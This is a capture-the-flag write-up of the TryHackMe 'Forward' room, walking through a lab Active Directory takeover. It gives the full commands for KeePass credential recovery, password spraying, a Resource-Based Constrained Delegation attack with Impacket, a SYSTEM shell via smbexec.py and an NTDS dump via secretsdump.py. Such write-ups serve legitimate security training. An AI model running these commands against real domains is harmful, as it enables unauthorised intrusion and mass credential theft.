> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2026/forward.md).

# Forward

{% embed url="<https://tryhackme.com/room/forwardchallenge>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

\[ INITIAL ACCESS GRANTED ]

***

USER > ctf.local\j.smith

PASS > JSmith\@IT2024

***

You're already in. The breach has been assumed, now it's time to move forward. Navigate through a compromised Active Directory environment, move laterally through the domain, and escalate your way to full control. The question isn't how you got in... it's how far you can go.

## Summary

<details>

<summary>Summary</summary>

In Forward we are granted initial access to an Active Directory environment as the low-privileged user `j.smith` and tasked with seeing how far we can escalate. Enumerating the domain controller `DC01.ctf.local` with NetExec and BloodHound, we find that `j.smith` belongs to the Remote Desktop Users group. We RDP into the DC and discover a KeePass database `Database.kdbx` in the user's Documents folder. Unable to crack the master password, we use Lazagne to confirm the database is unlocked via the Windows user account, open it through KeePass2, and recover credentials for `t.jones`.

The `t.jones` account has no notable permissions, so we generate a domain user list and password-spray the recovered password, landing a hit on `r.williams`. BloodHound shows `r.williams` has `AddAllowedToAct` over the DC, enabling a Resource-Based Constrained Delegation attack. We create a controlled machine account `ATTACKERSYSTEM$` with `addcomputer.py`, write it into the DC's `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute via `rbcd.py`, and abuse S4U2Self/S4U2Proxy with `getST.py` to obtain a `cifs/DC01.ctf.local` ticket impersonating `Administrator`. Using the cached Kerberos ticket, we land a SYSTEM shell on the DC with `smbexec.py`, retrieve the flag, and dump NTDS via `secretsdump.py`.

</details>

## Recon

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.112.190.54 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/fim4BaoLiFkKuQELlC0A" alt=""><figcaption></figcaption></figure>

The target `10.112.190.54` is a Windows-based Domain Controller (`DC01.ctf.local`). DNS is exposed on port `53`(Simple DNS Plus) and Kerberos on ports `88` and `464` (kpasswd), confirming the host's role as an Active Directory DC for the domain `ctf.local`. LDAP and LDAPS services are available on ports `389`, `636`, `3268`, and `3269`. SMB is exposed via ports `139` and `445` with message signing enabled and required. Remote management and access are available through RDP on port `3389` (NetBIOS\_Computer\_Name: `DC01`, Product\_Version: `10.0.17763` — Windows Server 2019). The host also exposes a .NET Message Framing service on port `9389` (AD Web Services), RPC over HTTP on ports `593` and `49670`, and several MSRPC endpoints on ports `135`, `49668`, `49671`, `49672`, and `49697`. No web (HTTP/HTTPS) or WinRM services were detected on the scanned ports.

<figure><img src="/files/ZsjvfonDHC3moz1dh17E" alt=""><figcaption></figcaption></figure>

We authenticate as `j.smith` agains SMB via NetExec and enumerate the shares. We find a readable share `Downloads`.

{% code overflow="wrap" expandable="true" %}

```
nxc smb 10.112.190.54 -u j.smith -p 'JSmith@IT2024' --shares
```

{% endcode %}

<figure><img src="/files/WsohPSgPtN22qSeBOBHv" alt=""><figcaption></figcaption></figure>

Furthermore we will generate an `/etc/hosts` entry...

{% code overflow="wrap" expandable="true" %}

```
nxc smb 10.112.190.54 -u j.smith -p 'JSmith@IT2024' --generate-hosts-file host
```

{% endcode %}

<figure><img src="/files/eKvO7LS0T7arZSND8EfR" alt=""><figcaption></figcaption></figure>

... and add the following entry to our `/etc/hosts` file.

{% code overflow="wrap" expandable="true" %}

```
10.112.190.54     DC01.ctf.local ctf.local DC01
```

{% endcode %}

The Downloads share does not contain anything.

{% code overflow="wrap" expandable="true" %}

```
smbclient //10.112.190.54/Downloads -U 'ctf.local/j.smith%JSmith@IT2024'
```

{% endcode %}

<figure><img src="/files/UjtywBhgqv4nJ7QIGpYq" alt=""><figcaption></figcaption></figure>

## BloodHound Enumeration

We proceed with enumeration of the domain using the provided credentials.

{% code overflow="wrap" expandable="true" %}

```
bloodhound-ce.py -u 'j.smith' -p 'JSmith@IT2024' -d ctf.local -dc DC01.ctf.local -ns 10.112.190.54 -c All --zip
```

{% endcode %}

<figure><img src="/files/xjGX5HYgjEZkcw4VBPno" alt=""><figcaption></figcaption></figure>

The user j.smith is in the REMOTE DESKTOP USERS group which allows us to RDP into the machine.

<figure><img src="/files/JZ5SzVwjUuHuMAR6PS6o" alt=""><figcaption></figcaption></figure>

Furthermore we have kerberoastable user `svc.helpdesk` without any specific or interesting permissions.

<figure><img src="/files/sv00KaNCzUA1kYWwo0JV" alt=""><figcaption></figcaption></figure>

The Administrator is the Domain Admin.

<figure><img src="/files/11GRashU4NcrceHLMUdI" alt=""><figcaption></figcaption></figure>

## Access as t.jones

We access the machine as j.smith via RDP and find a Keepass file `Database.kdbx` in `Documents`.

<figure><img src="/files/Ca5NIYsWdMj4f8qslcj1" alt=""><figcaption></figcaption></figure>

We run Lazagne to extract possible credentials, since we were not able to crack the password of the Keepass file. Lazagne has a positive hit. The Keepass file can be opened via NTLM... But by opening the kdbx file no proper App is being suggested.

{% embed url="<https://github.com/AlessandroZ/LaZagne>" %}

<figure><img src="/files/zrVMHN3MWvqkRpVfMgdR" alt=""><figcaption></figcaption></figure>

We look for KeePass in the Windows Search bar and find KeePass2 installed.

<figure><img src="/files/2MzdkQtDy5iqlcZ4l3U0" alt=""><figcaption></figcaption></figure>

Opening the application we are prompted to Enter a MAster key for Database.kdbx. But we could also use the Windows user account without providing a password.

<figure><img src="/files/MRpheiSnBSbwCEuvanIR" alt=""><figcaption></figcaption></figure>

The Keepass file openes and we have three entries. The most intersting one is the for t.jones. The password looks like it has been preset.

<figure><img src="/files/Y8mi8szVXRvgv415JfNv" alt=""><figcaption></figcaption></figure>

We test the credentials using NetExec and are able to authenicate as `t.jones`.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.ctf.local -u t.jones -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/APxnrNTeGGzLtLndumDD" alt=""><figcaption></figcaption></figure>

But the user does not hold any special permissions and also we do not find anything intersting remotely on the machine.

<figure><img src="/files/zfhYa6UFMpne4HwxVjCe" alt=""><figcaption></figcaption></figure>

## Access as r.williams

So we try to password spray the found password from the Keepass file. But first we need to generate a users list. We use NetExec.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.ctf.local -u t.jones -p 'REDACTED' --users
```

{% endcode %}

<figure><img src="/files/RRpEBmMqV62PQwEvc38Z" alt=""><figcaption></figcaption></figure>

Next we run a password spary and are also able to authenticate as `r.williams`.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.ctf.local -u users.txt -p 'REDACTED' --continue-on-success
```

{% endcode %}

<figure><img src="/files/wWHpwRlGwIhkHs9lRLm6" alt=""><figcaption></figcaption></figure>

## Shell as Administrator

That user has AddAllowedToAct permission over the DC which allows us to perform a Resource-Based Constrained Delegation (RBCD) attack.  By adding a controlled computer account to the DC's `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute, we can impersonate any domain user including Domain Admins to the DC via S4U2Self/S4U2Proxy and obtain a service ticket as that use.

<figure><img src="/files/ZnZRA5rDM2l8SmkIrmZ4" alt=""><figcaption></figcaption></figure>

If we click on the edge we get the instructions to abuse this via Linux.

<figure><img src="/files/j0wyNwgiD8dSacPd3JIk" alt=""><figcaption></figcaption></figure>

We create a new machine account `ATTACKERSYSTEM$` in the domain using `r.williams`'s credentials, which we will leverage as the delegated principal in the RBCD attack.

{% code overflow="wrap" expandable="true" %}

```
addcomputer.py -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Pwned123@!' -dc-host DC01 -domain-netbios ctf.local 'ctf.local/r.williams:Helpdesk01!'
```

{% endcode %}

<figure><img src="/files/A0S5ftvAi6Y4c3yBtrVV" alt=""><figcaption></figcaption></figure>

We write our controlled `ATTACKERSYSTEM$` account into the DC's `msDS-AllowedToActOnBehalfOfOtherIdentity`attribute, configuring Resource-Based Constrained Delegation so that `ATTACKERSYSTEM$` is now trusted to impersonate any user to the Domain Controller.

{% code overflow="wrap" expandable="true" %}

```
rbcd.py -dc-ip 10.112.190.54 -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'DC01$' -action 'write' 'ctf.local/r.williams:Helpdesk01!'
```

{% endcode %}

<figure><img src="/files/dIu4SwgINI92Bqw1I5qV" alt=""><figcaption></figcaption></figure>

Using our `ATTACKERSYSTEM$` machine account, we abuse S4U2Self/S4U2Proxy to request a Kerberos service ticket for the `cifs/DC01.ctf.local` SPN while impersonating the `Administrator`, granting us privileged access to the DC's file system.

{% code overflow="wrap" %}

```
getST.py -spn 'cifs/DC01.ctf.local' -impersonate 'Administrator' 'ctf.local/ATTACKERSYSTEM$:Pwned123@!'
```

{% endcode %}

<figure><img src="/files/3XkJdUoIFDOE1o2dimJA" alt=""><figcaption></figcaption></figure>

We export the `KRB5CCNAME` environment variable to point Impacket at the newly obtained `.ccache` file, so subsequent tools authenticate using the Administrator's Kerberos ticket instead of a password.

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=Administrator@cifs_DC01.ctf.local@CTF.LOCAL.ccache
```

{% endcode %}

Using the cached ticket we use `smbexec.py` to authenticat to `DC01` over SMB with Kerberos `-k -no-pass` as the Administrator and spawns a semi-interactive SYSTEM shell on the Domain Controller. We find the flag at the Desktop of the Administrator.

{% code overflow="wrap" expandable="true" %}

```
smbexec.py -k -no-pass ctf.local/Administrator@DC01.ctf.local
```

{% endcode %}

<figure><img src="/files/dORXOOXBWHnjbeaWQRiR" alt=""><figcaption></figcaption></figure>

Finally, we'll run a DCSync..

{% code overflow="wrap" expandable="true" %}

```
secretsdump.py -k -no-pass ctf.local/Administrator@DC01.ctf.local
```

{% endcode %}

<figure><img src="/files/h1oat3KfbiODByxfC3ox" alt=""><figcaption></figcaption></figure>
